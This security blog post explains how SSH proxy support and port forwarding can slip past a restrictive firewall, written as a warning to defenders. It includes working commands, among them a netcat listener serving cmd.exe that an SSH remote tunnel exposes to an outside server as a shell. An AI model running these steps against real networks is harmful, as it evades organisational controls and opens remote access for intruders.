Turning the Tide Against Defenders with SSH

Something occurred to me this morning with the announcement of a new Snort vulnerability (http://www.snort.org/pub-bin/snortnews.cgi), what if security tools are not only the target of attacks, but are actually turned against the defenders? Let take SSH for example. SSH is a great little utility. Many in the security community have touted its many secure features for years. It replaces insecure protocols such as Telnet and FTP with secure, encrypted transfer mechanisms that keep contents of such sessions safe from prying eyes.

There are many additional features in SSH other than just being able to encrypt traffic. I will focus on three of these, Support for Proxy, Local Port Forwarding, and Remote Port Forwarding, and demonstrate how these features can be used to circumvent security measures. For each of the examples, assume that we are in a restricted network environment with all outbound traffic blocked at the firewall with the exception of the HTTP proxy server.

Let us first look at Support for Proxy, since this will be the building block to being able to leverage the other two features in this environment. To utilize this, you would need to modify the SSH clients config file, usually located at ~/.ssh/config, or point SSH to a custom config with the –F switch. Inside of the config file, there is an option called ProxyCommand which points SSH to an executable file to use for connecting through a proxy server. There are a few proxy tools that you can use, but my personal favorite is a tool called ProxyTunnel written by Muppet. Below is an example of a configuration file that will use ProxyTunnel from the local directory. In this file, RemoteHost is the alias SSH will use when referencing the server to connect to, sgrep is ProxyTunnel renamed residing in the working directory, and ProxyServer is the name of the local networks HTTP proxy, and RemoteDNS is the DNS name of the actual remote server.

##Outside of the firewall, use connect command
Host RemoteHost
KeepAlive yes
ProxyCommand ./sgrep -g ProxyServer -G ProxyPort -d RemoteDNS

To connect to a remote server, we will use this modified configuration file by issuing the following command:

ssh –l login_name -f ./modified_config RemoteHost

And we are now connected to a shell account that we have full control of outside of the local networks firewall. Great, but now what? If I had X11 forwarding set on the remote server, I could start remote X programs in my local environment. But that has a bit of a latency issue. Also, individual who can find a badly configured proxy server might now have a possible entry point to a network if they can find a SSH server running on the Intranet.

So wouldn’t it be nice if I could use my local machines programs (for instance, use Internet Explorer) and still have the unrestricted access of the remote machine? Well actually, you can. Lets assume that the remote server is running a HTTP proxy service on it. I would like to tunnel my local traffic to that remote proxy so that I can use that as my access point to the Internet rather than the restricted environment of the local network. Assume that the remote HTTP proxy is Squid running on port 3128. If we modify the SSH command to the command below, we will set up a tunnel that will send local traffic on the designated port to the remote servers designated port.

ssh –l login_name -f ./modified_config –l 3128:localhost:3128 RemoteHost

What we have done here is bound a local port to the remote servers listening port. The Localhost address in the –L switch is relative to the remote network, so I could as easily have used –L 80:www.yahoo.com:80 and connected to Yahoo through my local machines port 80. The actual connect to Yahoo would have been done from the remote server. But in this case I want to proxy, so I need to modify my Internet Explorers connection options, under Tools, Internet Options, Connections, and Lan Settings as pictured below.



Now, I am using the remote proxy server, which is unrestricted, for my local viewing pleasure through my SSH tunnel.

This is a really trivial policy circumvention, so here is the really scary part, the remote tunnel. Using this option, we can set up the inverse of the local tunnel, where a port on a remote system will tunnel back to the local host. For this example, I will tunnel a local Windows command prompt, listening on port 5000 of the local machine, to my remote server on port 5000. (Note: Yes, I know I am logged in as Administrator and root in these examples, this is in a test environment for demonstration). I issue the following NetCat command to set up a listening service and provide the command prompt for the connection:

nc –l –p 5000 –e cmd.exe

Now, I issue the following SSH command to connect to my remote server and set up my tunnel.

ssh –l login_name -f ./modified_config –R 5000:localhost:5000 RemoteHost

So from my remote machine I can Telnet or NetCat into port 5000 and have the Windows Command Prompt. Pictures illustrating this are below.

Here is the NetCat listener on the local machine:


Here is the SSH command to the remote server:


And here is the connection through our tunnel from the remote server to the local machine:


One other possibility is the use of a program called MindTerm. Lets say SSH is not installed on the machines behind the firewall. A quick search of Google for “Java SSH” yields plenty of hosts for Mindterm. Mindterm has all the above features such as proxy support and tunneling, plus it doesn’t need anything more than a browser that supports Java to run.

Lets consider the possibilities of this using the network environment from our examples. Part of your standard operating environment is SSH to eliminate all insecure protocols in your enterprise. While great in theory, the tool has unknowingly provided a possible vulnerability in your security policy. The clever employee circumventing your proxy restricted sites list is the least of your worries. An attacker can use a bit of clever social engineering to get access to your network. Or worse is when virus creators begin using these techniques to expose Intranets (assuming they have not already). All it will take at some point is a motivated developer to incorporate the code for SSH and a proxy tunnel into one. Imagine a tool that establishes a connection through whatever proxy is set in the Windows registry and opens up a remote tunnel. And worse, the traffic is completely encrypted. The potential now exists for a completely encrypted bot net. The tools used to secure your network have been turned against you.

Update: I would like to thank Richard Bejtlich for pointing out a similar article on his blog about SSH. The URL is http://taosecurity.blogspot.com/2004/08/protecting-web-surfing-from-prying.html. Rich pointed out yet another potentially dangerous option in the SSH option, the –D switch. With this command line argument, SSH will act like a SOCKS compatible proxy. What this means is if you have a tool with SOCKS support, you can simply connect to the localhost on the listening port and it will redirect to the host of your choosing. This is similar to using the port forwarding method above and proxy, however you eliminate the need for a proxy.

Both approaches have their pros and cons. Using the dynamic port forwarding you eliminate needing additional listening services, and have a potential wider range of applications you can use. The drawback to this however is that your client app will need to support SOCKS. Using static port forwarding, you would need to know the host ahead of time, and once you open your tunnel you are limited to that host. (Unless you custom develop a tool. Mindterm demonstrates that the SSH protocol is capable of opening tunnels dynamically). In my opinion, SSH is shaping up to be a next generation Netcat.